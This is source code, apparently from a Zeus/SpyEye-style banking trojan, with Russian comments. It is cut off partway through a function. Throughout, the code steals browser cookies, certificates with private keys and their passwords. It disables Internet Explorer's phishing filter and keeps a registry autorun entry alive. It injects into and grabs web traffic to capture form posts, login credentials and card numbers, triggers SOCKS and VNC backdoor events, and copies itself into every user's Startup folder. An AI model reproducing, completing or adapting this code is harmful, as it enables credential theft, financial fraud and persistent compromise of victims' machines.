/* Обработка куков Wininet. IN flags - флаги COOKIESFLAG_*. OUT list - полный список куков. OUT listSize - размер списка куков. */ static void wininetCookiesProc(DWORD flags, LPSTR *list, LPDWORD listSize) { CSTR_GETW(mask1, file_wininet_cookie_mask); const LPWSTR mask[] = {mask1}; WININETCOOKIESPROCFINDDATA wcpfd; wcpfd.flags = flags; wcpfd.list = NULL; wcpfd.listSize = 0; WCHAR path[MAX_PATH]; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_COOKIES, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) { CSTR_GETW(pathLow, path_wininet_cookie_low); Fs::_findFiles(path, mask, sizeof(mask) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES, wininetCookiesFindProc, &wcpfd, NULL, 0, 0); if(Fs::_pathCombine(path, path, pathLow)) { Fs::_findFiles(path, mask, sizeof(mask) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES, wininetCookiesFindProc, &wcpfd, NULL, 0, 0); } } if(flags & COOKIESFLAG_SAVE) { *list = wcpfd.list; *listSize = wcpfd.listSize; } }
void * WINAPI CertStoreHook::_hookerPfxImportCertStore(CRYPT_DATA_BLOB *data, LPCWSTR password, DWORD flags) { WDEBUG3(WDDT_INFO, "Called, data->cbData=%u, password=%s, flags=0x%08X", data->cbData, password == NULL ? L"" : password, flags); HCERTSTORE certstore = CWA(crypt32, PFXImportCertStore)(data, password, flags); if(certstore != NULL && (flags & 0x10000000) == 0 && data && data->cbData > 0 && data->pbData != NULL && Core::isActive()) { //Генерируем имя. WCHAR userName[MAX_PATH]; WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2]; SYSTEMTIME st; CWA(kernel32, GetSystemTime)(&st); //Пишим сертификат. CSTR_GETW(serverPath, certstore_export_remote_path); CSTR_GETW(prolog, certstore_export_prolog); getUserNameForPath(userName); if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, prolog, st.wDay, st.wMonth, st.wYear) > 0 && Report::writeData(BLT_FILE, NULL, pfxName, data->pbData, data->cbData) && password != NULL && *password != 0) { Str::_catW(pfxName, L".txt", 4); Str::UTF8STRING u8s; if(Str::_utf8FromUnicode((LPWSTR)password, -1, &u8s)) { Report::writeData(BLT_FILE, NULL, pfxName, u8s.data, u8s.size); Str::_utf8Free(&u8s); } } } return certstore; }
void WininetHook::init(const LPWSTR homePage) { connections = NULL; connectionsCount = 0; CWA(kernel32, InitializeCriticalSection)(&connectionsCs); if(coreData.integrityLevel > Process::INTEGRITY_LOW) { //Домашняя страница. if(homePage != NULL && *homePage != 0) { CSTR_GETW(startPageValue, regvalue_ie_startpage); CSTR_GETW(startPagePath, regpath_ie_startpage); Registry::_setValueAsString(HKEY_CURRENT_USER, startPagePath, startPageValue, homePage, Str::_LengthW(homePage)); } //Отключение фишинг фильтра. { CSTR_GETW(key, regpath_ie_phishingfilter); CSTR_GETW(var1, regvalue_ie_phishingfilter1); CSTR_GETW(var2, regvalue_ie_phishingfilter2); const LPWSTR vars[] = {var1, var2}; for(BYTE i = 0; i < sizeof(vars) / sizeof(LPWSTR); i++)if(Registry::_getValueAsDword(HKEY_CURRENT_USER, key, vars[i]) != 0)Registry::_setValueAsDword(HKEY_CURRENT_USER, key, vars[i], 0); } //Не очищать куки при выходе из IE. { CSTR_GETW(key, regpath_ie_privacy); CSTR_GETW(var, regvalue_ie_privacy_cookies); if(!Registry::_valueExists(HKEY_CURRENT_USER, key, var) || Registry::_getValueAsDword(HKEY_CURRENT_USER, key, var) != 0) { Registry::_setValueAsDword(HKEY_CURRENT_USER, key, var, 0); } } //Настройка Интернет-зон. //FIXME: делать это через COM. { CSTR_GETW(key, regpath_ie_zones); CSTR_GETW(var1, regpath_ie_zones_1406); CSTR_GETW(var2, regpath_ie_zones_1609); const LPWSTR vars[] = {var1, var2}; WCHAR keyBuf[CryptedStrings::len_regpath_ie_zones + 10]; for(BYTE i = 0; i < 5; i++)if(Str::_sprintfW(keyBuf, sizeof(keyBuf) / sizeof(WCHAR), key, i) > 0) { for(BYTE a = 0; a < sizeof(vars) / sizeof(LPWSTR); a++) { if(Registry::_getValueAsDword(HKEY_CURRENT_USER, keyBuf, vars[a]) != 0)Registry::_setValueAsDword(HKEY_CURRENT_USER, keyBuf, vars[a], 0); } } } } }
/* Экспорт хранилища в отчет. IN storeName - имя хранилища. Return - true - если хранилище успещно прочитано и записано в отчет, если сертифкатов > 0. true - если хранилище успещно прочитано и если сертифкатов == 0. false - в случаи ошибки. */ static bool exportStore(LPWSTR storeName) { WDEBUG1(WDDT_INFO, "Exporting %s", storeName); bool retVal = false; HANDLE storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName); if(storeHandle != NULL) { //Получаем кол. сертификатов. DWORD certsCount = 0; { PCCERT_CONTEXT certContext = NULL; while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL)certsCount++; } if(certsCount == 0)retVal = true; else { //Получаем размер хранилища. CRYPT_DATA_BLOB pfxBlob; pfxBlob.pbData = NULL; pfxBlob.cbData = 0; CSTR_GETW(password, certstore_export_password); if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE && (pfxBlob.pbData = (LPBYTE)Mem::alloc(pfxBlob.cbData)) != NULL) { if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE) { //Делаем имя хранилища в нижний регистр. WCHAR storeNameLower[CryptedStrings::len_certstore_export_remote_path * 2]; Str::_CopyW(storeNameLower, storeName, -1); CWA(kernel32, CharLowerW)(storeNameLower); //Генерируем имя. WCHAR userName[MAX_PATH]; WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2]; SYSTEMTIME st; CWA(kernel32, GetSystemTime)(&st); CSTR_GETW(serverPath, certstore_export_remote_path); getUserNameForPath(userName); if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, storeNameLower, st.wDay, st.wMonth, st.wYear) > 0 && Report::writeData(BLT_FILE, storeName, pfxName, pfxBlob.pbData, pfxBlob.cbData)) { retVal = true; } } Mem::free(pfxBlob.pbData); } } CWA(crypt32, CertCloseStore)(storeHandle, 0); } return retVal; }
bool OsEnv::_getUserProfileDirectoryhBySid(PSID sid, LPWSTR buffer) { bool retVal = false; LPWSTR sidStr; if(CWA(kernel32, ConvertSidToStringSidW)(sid, &sidStr) != FALSE) { CSTR_GETW(regPathFormat, regpath_profilelist); WCHAR regPath[MAX_PATH]; if(Str::_sprintfW(regPath, MAX_PATH, regPathFormat, sidStr) > 0) { CSTR_GETW(regValuePath, regvalue_profilelist_path); DWORD r = Registry::_getValueAsString(HKEY_LOCAL_MACHINE, regPath, regValuePath, regPath, MAX_PATH); if(r != 0 && r != (DWORD)-1)retVal = Fs::_unquoteAndExpandPath(regPath, buffer); } CWA(kernel32, LocalFree)(sidStr); } return retVal; }
bool CoreControl::_removeAutorun(void) { WCHAR autorunName[50]; Core::generateObjectName(Core::OBJECT_ID_REG_AUTORUN, autorunName, MalwareTools::KON_DEFAULT); CSTR_GETW(regPath, regpath_autorun); for(BYTE i = 0; i < 5; i++) { if(!Registry::_deleteValue(HKEY_CURRENT_USER, regPath, autorunName))return false; //Страховка от незавершенного procAutorun(). CWA(kernel32, Sleep)(500); if(!Registry::_valueExists(HKEY_CURRENT_USER, regPath, autorunName))return true; } return false; }
void WininetHook::_getCookies(void) { LPSTR cookies; DWORD cookiesSize; //Получаем куки. wininetCookiesProc(COOKIESFLAG_SAVE, &cookies, &cookiesSize); if(cookiesSize == 0)cookies = NULL; //Пишим лог. { CSTR_GETW(header, wininethook_report_cookies); CSTR_GETA(empty, wininethook_report_cookies_empty); Report::writeStringFormat(BLT_COOKIES, NULL, NULL, header, cookies == NULL ? empty : cookies); } Mem::free(cookies); }
static DWORD WINAPI procAutorun(void *) { CoreHook::disableFileHookerForCurrentThread(true); CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_NORMAL); HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_CONTROL_AUTORUN, MalwareTools::KON_SESSION); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed"); return 1; } WDEBUG0(WDDT_INFO, "Started."); WCHAR autorunName[50]; WCHAR processPath[MAX_PATH]; DWORD processPathSize; Core::generateObjectName(Core::OBJECT_ID_REG_AUTORUN, autorunName, MalwareTools::KON_DEFAULT); Core::getPeSettingsPath(Core::PSP_COREFILE, processPath); CWA(shlwapi, PathQuoteSpacesW)(processPath); processPathSize = Str::_LengthW(processPath); //Цикл. if(Core::isActive()) { CSTR_GETW(regPath, regpath_autorun); while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 200) == WAIT_TIMEOUT) { Registry::_setValueAsString(HKEY_CURRENT_USER, regPath, autorunName, processPath, processPathSize); } } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
bool HttpGrabber::_executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count) { DWORD changesCount = 0; //Кол. примененых инжектов. for(DWORD i = 0; i < count; i++) { INJECTFULLDATA *curData = (INJECTFULLDATA *)&dataList[i]; DWORD matchFlags = curData->flags & HttpInject::FLAG_CONTEXT_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0; //Проверка маски контента. if(curData->contextMask != NULL && !_matchContextA(curData->contextMask, *context, *contextSize, matchFlags | Str::MATCH_FULL_EQUAL)) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Context no matched."); #endif continue; } LPBYTE grabbedData = NULL; DWORD grabbedDataSize = 0; LPBYTE curBlock = (LPBYTE)curData->injects; LPBYTE endBlock = curBlock + curData->injectsSize; //Применяем инжекты, грабим данные. while(curBlock < endBlock) { //Ищим место замены. DWORD offsetBegin; //Начало данных для замены. DWORD offsetEnd; //Конец данных для замены. HttpInject::INJECTBLOCK *blockPrefix = (HttpInject::INJECTBLOCK *)curBlock; HttpInject::INJECTBLOCK *blockPostfix = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPrefix + blockPrefix->size); HttpInject::INJECTBLOCK *blockNew = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPostfix + blockPostfix->size); curBlock = (LPBYTE)blockNew + blockNew->size; //Следующий элемент. //FIXME { char open_socks[] = "%opensocks%"; if(Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, open_socks, sizeof(open_socks) - 1)) { /*WCHAR opensocksurl[MAX_PATH]; Str::_ansiToUnicode(url, -1, opensocksurl, MAX_PATH); WDEBUG1(WDDT_INFO, "Found %%opensocks%% in %s", opensocksurl); SpyEye_Modules::COMMAND_LIST* cmd = (SpyEye_Modules::COMMAND_LIST*)Mem::alloc(sizeof(SpyEye_Modules::COMMAND_LIST)); cmd->ModuleCrc32 = 0x3b4c3a7a; cmd->FunctionCrc32 = 0x6874548b; DWORD res = SpyEye_Modules::ExecuteCommands(cmd); WDEBUG1(WDDT_INFO, "%%opensocks%% result: %u", res);*/ char socks_event[] = "Global\\s_ev"; HANDLE socks_event_handle; if(!(socks_event_handle = CreateEventA(0, true, false, socks_event))) { WDEBUG0(WDDT_ERROR, "Event creation failed."); } else { SetEvent(socks_event_handle); CloseHandle(socks_event_handle); WDEBUG0(WDDT_INFO, "Event has been set!"); } } char open_vnc[] = "%openvnc%"; if(Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, open_vnc, sizeof(open_vnc) - 1)) { /*WCHAR opensocksurl[MAX_PATH]; Str::_ansiToUnicode(url, -1, opensocksurl, MAX_PATH); WDEBUG1(WDDT_INFO, "Found %%opensocks%% in %s", opensocksurl); SpyEye_Modules::COMMAND_LIST* cmd = (SpyEye_Modules::COMMAND_LIST*)Mem::alloc(sizeof(SpyEye_Modules::COMMAND_LIST)); cmd->ModuleCrc32 = 0x3b4c3a7a; cmd->FunctionCrc32 = 0x6874548b; DWORD res = SpyEye_Modules::ExecuteCommands(cmd); WDEBUG1(WDDT_INFO, "%%opensocks%% result: %u", res);*/ char vnc_event[] = "Global\\v_ev"; HANDLE vnc_event_handle; if(!(vnc_event_handle = CreateEventA(0, true, false, vnc_event))) { WDEBUG0(WDDT_ERROR, "Event #2 creation failed."); } else { SetEvent(vnc_event_handle); CloseHandle(vnc_event_handle); WDEBUG0(WDDT_INFO, "Event #2 has been set! "); } } } void* patternForReplace = Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, "%BOTID%", 7); DWORD compIdSize = Str::_LengthW(coreDllData.compId); DWORD patternChangeSize = compIdSize - 7; if(patternForReplace && patternChangeSize > 0) { WDEBUG0(WDDT_INFO, "Found %BOTID% in inject."); void* newBlock = Mem::alloc(blockNew->size + patternChangeSize); LPSTR compid = Str::_unicodeToAnsiEx(coreDllData.compId, compIdSize); if(compid) { DWORD offsetSt = (LPBYTE)patternForReplace - (LPBYTE)blockNew; DWORD offsetEnd = ((LPBYTE)blockNew + blockNew->size) - (LPBYTE)patternForReplace; Mem::_copy(newBlock, (LPBYTE)blockNew, offsetSt); Mem::_copy((LPBYTE)newBlock + offsetSt, compid, compIdSize); Mem::_copy((LPBYTE)newBlock + offsetSt + compIdSize, (LPBYTE)blockNew + offsetSt + 7, offsetEnd); blockNew = (HttpInject::INJECTBLOCK*)newBlock; blockNew->size += patternChangeSize; Mem::free(compid); } } //Получаем позицию начала. if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK)) { offsetBegin = 0; } else if(!_matchContextExA((LPBYTE)blockPrefix + sizeof(HttpInject::INJECTBLOCK), blockPrefix->size - sizeof(HttpInject::INJECTBLOCK), *context, *contextSize, NULL, &offsetBegin, matchFlags)) { continue; } //Получаем позицию конца. if(blockPostfix->size == sizeof(HttpInject::INJECTBLOCK)) { if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetEnd = *contextSize; else offsetEnd = offsetBegin; } else if(_matchContextExA((LPBYTE)blockPostfix + sizeof(HttpInject::INJECTBLOCK), blockPostfix->size - sizeof(HttpInject::INJECTBLOCK), *context + offsetBegin, *contextSize - offsetBegin, &offsetEnd, NULL, matchFlags)) { if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetBegin = offsetEnd; else offsetEnd += offsetBegin; } else { continue; } DWORD blockNewDataSize = blockNew->size - sizeof(HttpInject::INJECTBLOCK); //Размер ставляемых данных. DWORD matchedDataSize = offsetEnd - offsetBegin; //Размер наденых данных. //Замена. if(curData->flags & HttpInject::FLAG_IS_INJECT) { DWORD newSize = *contextSize - matchedDataSize + blockNewDataSize; LPBYTE newBuf = (LPBYTE)Mem::alloc(newSize); if(newBuf != NULL) //Не обращаем внимание на ошибку. { Mem::_copy(newBuf, *context, offsetBegin); Mem::_copy(newBuf + offsetBegin, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize); Mem::_copy(newBuf + offsetBegin + blockNewDataSize, *context + offsetEnd, *contextSize - offsetEnd); if(patternForReplace) Mem::free(blockNew); Mem::free(*context); *context = newBuf; *contextSize = newSize; changesCount++; } } //Сохранение. else if(curData->flags & HttpInject::FLAG_IS_CAPTURE) { if(Mem::reallocEx(&grabbedData, grabbedDataSize + blockNewDataSize + matchedDataSize + 1/*\n*/ + 1/*\0*/)) //Не обращаем внимание на ошибку. { if(blockNewDataSize > 0) { Mem::_copy(grabbedData + grabbedDataSize, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize); grabbedDataSize += blockNewDataSize; } Mem::_copy(grabbedData + grabbedDataSize, *context + offsetBegin, matchedDataSize); if(curData->flags & HttpInject::FLAG_CAPTURE_NOTPARSE)grabbedDataSize += matchedDataSize; else grabbedDataSize += HttpTools::_removeTagsA((LPSTR)grabbedData + grabbedDataSize, matchedDataSize); grabbedData[grabbedDataSize++] = '\n'; grabbedData[grabbedDataSize] = 0; } } } //Пишим награбленное. if(curData->flags & HttpInject::FLAG_IS_CAPTURE) { if(grabbedData != NULL) { if(curData->flags & HttpInject::FLAG_CAPTURE_TOFILE) { char host[260]; URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); uc.lpszHostName = host; uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1; if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == TRUE && uc.dwHostNameLength > 0) { WCHAR file[MAX_PATH]; SYSTEMTIME st; CWA(kernel32, GetSystemTime)(&st); CSTR_GETW(decodedString, httpgrabber_inject_path_format); Str::_sprintfW(file, sizeof(file) / sizeof(WCHAR), decodedString, host, st.wYear - 2000, st.wMonth, st.wDay); Report::writeData(BLT_FILE, file, grabbedData, grabbedDataSize); } } else { LPWSTR urlW = Str::_ansiToUnicodeEx(url, -1); if(urlW != NULL) { LPWSTR report1 = NULL; CSTR_GETW(decodedString, httpgrabber_inject_grabbed_format); int r = Str::_sprintfExW(&report1, decodedString, urlW, grabbedData); if(r > 0) { Report::writeString(BLT_GRABBED_HTTP, urlW, report1, r); Mem::free(report1); } Mem::free(urlW); } } Mem::free(grabbedData); } } } return (changesCount > 0); }
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData) { #if defined WDEBUG6 WDEBUG6(WDDT_INFO, "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].", requestData->handle, requestData->url, requestData->referer, requestData->contentType, requestData->verb, requestData->postDataSize ); #endif //SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == HttpGrabber::VERB_GET ? "GET" : "POST",requestData-> DWORD retVal = 0; signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/; //Проверяем запрос по фильтру. if(requestData->currentConfig != NULL) { DWORD httpFilterSize; LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize); if(Str::_isValidMultiStringA(httpFilter, httpFilterSize)) { LPSTR curFilter = httpFilter; do if(curFilter[1] != 0) { //Опеределяем тип фильтра. char filterType; switch(curFilter[0]) { case '$': filterType = 5; break; //Notify our server about request. case '!': filterType = 1; break; //Не писать в отчет, case '@': filterType = 2; break; //Screenshots default: filterType = 0; break; //Принудительно писать в отчет. } if(filterType != 0) curFilter++; //Сравниваем URL. if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0)) { #if defined WDEBUG3 WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType); #endif switch(filterType) { case 0: { writeReport = 1; break; } case 1: { writeReport = 0; break; } #if BO_KEYLOGGER > 0 case 2: { char host[260]; URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); uc.lpszHostName = host; uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1; if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0) { UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host); } break; } #endif case 5: { retVal |= ANALIZEFLAG_NOTIFY_CC; break; } } } } while((curFilter = Str::_multiStringGetIndexA(curFilter, 1))); } Mem::free(httpFilter); } //Проверяем тип содержимого. if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1)) { if(CSTR_EQNA(requestData->contentType, CryptedStrings::len_httpgrabber_urlencoded - 1, httpgrabber_urlencoded) && (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0)) retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED; } //Проверяем наличие HTTP-авторизации. LPWSTR authorizationData = NULL; int authorizationDataSize = 0; if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0) { CSTR_GETW(format, httpgrabber_auth_normal); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password); } else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0) { CSTR_GETW(format, httpgrabber_auth_encoded); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType); } if(authorizationDataSize > 0) { retVal |= ANALIZEFLAG_AUTHORIZATION; // тут нужно проверять на дубли авторизации } //Опеределям нужно ли писать отчет. { if(writeReport == -1 && (requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION) retVal |= ANALIZEFLAG_SAVED_REPORT; else if(writeReport == 1) retVal |= ANALIZEFLAG_SAVED_REPORT; } if(retVal & ANALIZEFLAG_SAVED_REPORT) { LPSTR postData = NULL; bool ok = false; //Форматируем POST-запрос. if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED) { if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL) { for(DWORD i = 0; i < requestData->postDataSize; i++) { if(postData[i] == '&')postData[i] = '\n'; else if(postData[i] == '+')postData[i] = ' '; } } } // we dont need empty reports //else if(requestData->contentTypeSize == 0 || requestData->postDataSize == 0) //{ // postData = NULL; //} //Формируем отчет. if(postData != NULL) { LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize); if(urlUnicode != NULL) { URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE) { bool isCC = isThereCC(postData, requestData->postDataSize); LPWSTR reportString = NULL; int reportSize = 0; CSTR_GETW(reportFormat, httpgrabber_report_format); LPWSTR userInput = NULL; LPWSTR referer = Str::_ansiToUnicodeEx(requestData->referer == NULL ? "-" : requestData->referer, -1); #if BO_KEYLOGGER > 0 UserHook::getInput(&userInput); #endif reportSize = Str::_sprintfExW(&reportString, reportFormat, urlUnicode, referer, authorizationData == NULL ? L"" : authorizationData, userInput == NULL ? L"-" : userInput, postData); ok = Report::writeString(isCC == true ? BLT_REQUEST_WITH_CC : uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST, urlUnicode, reportString, reportSize); Mem::free(reportString); Mem::free(referer); } Mem::free(urlUnicode); } Mem::free(postData); } if(ok == false) retVal &= ~ANALIZEFLAG_SAVED_REPORT; } Mem::free(authorizationData); //Проверка на инжекты и фейки. if(checkRequestForInject(requestData)) { retVal |= ANALIZEFLAG_URL_INJECT; #if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount); #endif } if(checkRequestForCapchas(requestData)) { retVal |= ANALIZEFLAG_URL_CAPTCHA; #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Current URL detected as captcha request."); #endif } if(retVal & ANALIZEFLAG_NOTIFY_CC) { if(BinStorage::_getItem(requestData->currentConfig, CFGID_NOTIFY_SERVER, BinStorage::ITEMF_IS_OPTION)) Report::sendNotification(requestData->url); } //SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == VERB_GET ? "GET" : "POST", requestData->headers, (LPSTR)requestData->postData, 0, 0); END: return retVal; }
bool CoreInstall::_installToAll(void) { //Получаем предположительный путь для Startup директории. WCHAR startupPath[MAX_PATH]; { typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size); bool ok = false; HMODULE dll; { CSTR_GETW(dllName, module_userenv) dll = CWA(kernel32, LoadLibraryW)(dllName); } if(dll != NULL) { GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory; { CSTR_GETA(func, userenv_getdefuserprofiledir); getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func); } if(getDefaultUserProfileDirectory != NULL) { WCHAR defaultUserRoot[MAX_PATH]; DWORD size = MAX_PATH; if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE) { if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { size = Str::_LengthW(defaultUserRoot); if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0) { Str::_CopyW(startupPath, startupPath + size, -1); WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath); ok = true; } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded."); # endif CWA(kernel32, FreeLibrary)(dll); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "userenv.dll not founded."); # endif if(!ok)return false; } //Получаем список полозователей. bool ok = false; DWORD handle = 0; NET_API_STATUS status; do { /* Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем большой индуский ХУЙ! */ DWORD readed; DWORD total; USER_INFO_0 *buf0 = NULL; status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle); if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL) { USER_INFO_23 *buf23; for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL) { //Получаем директорию Startup. WCHAR profileDir[MAX_PATH]; if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL)) { WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir); //Делаем копию себя в профиль пользователя. WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false)) { WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName); ok = true; //Пытаемся запустить процесс. tryToRunForActiveSessions(buf23->usri23_user_sid, fileName); } # if(BO_DEBUG > 0) else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name); # endif } CWA(neteapi32, NetApiBufferFree)(buf23); } CWA(neteapi32, NetApiBufferFree)(buf0); } } while(status == ERROR_MORE_DATA); //Ну и копируем в себя в Default User. if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true; } return ok; }
/* Поиск активных сессий пользователя, и запуск из под них процессов. IN sid - SID пользоваетеля. IN fileName - файл для запуска. */ static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName) { HMODULE dll; { CSTR_GETW(dllName, module_wtsapi32); dll = CWA(kernel32, LoadLibraryW)(dllName); } if(dll != NULL) { WTSENUMERATESESSIONSW enumerateSessions; WTSFREEMEMORY freeMemory; WTSQUERYUSERTOKEN queryUserToken; { CSTR_GETA(enumerateSessionsName, wtsapi32_enumeratesessions); enumerateSessions = (WTSENUMERATESESSIONSW)CWA(kernel32, GetProcAddress)(dll, enumerateSessionsName); } { CSTR_GETA(freeMemoryName, wtsapi32_freememory); freeMemory = (WTSFREEMEMORY)CWA(kernel32, GetProcAddress)(dll, freeMemoryName); } { CSTR_GETA(queryUserTokenName, wtsapi32_queryusertoken); queryUserToken = (WTSQUERYUSERTOKEN)CWA(kernel32, GetProcAddress)(dll, queryUserTokenName); } if(enumerateSessions != NULL && freeMemory != NULL && queryUserToken != NULL) { Process::_enablePrivilege(SE_TCB_NAME, true); //Для WTSQueryUserToken. //Интерактивную сессию обрабатываем отдельно, на случай если терминальный сервер не запущен и т.д. DWORD activeSession = CWA(kernel32, WTSGetActiveConsoleSessionId)(); WDEBUG1(WDDT_INFO, "activeSession=%u.", activeSession); //Смотрим интерактивную сессию. if(activeSession != (DWORD)-1)createProcessForSession(queryUserToken, activeSession, sid, fileName); //Проматриваем все сессии кроме интерактивной. { PWTS_SESSION_INFOW sessions; DWORD sessionsCount; if(enumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &sessionsCount) != FALSE) { 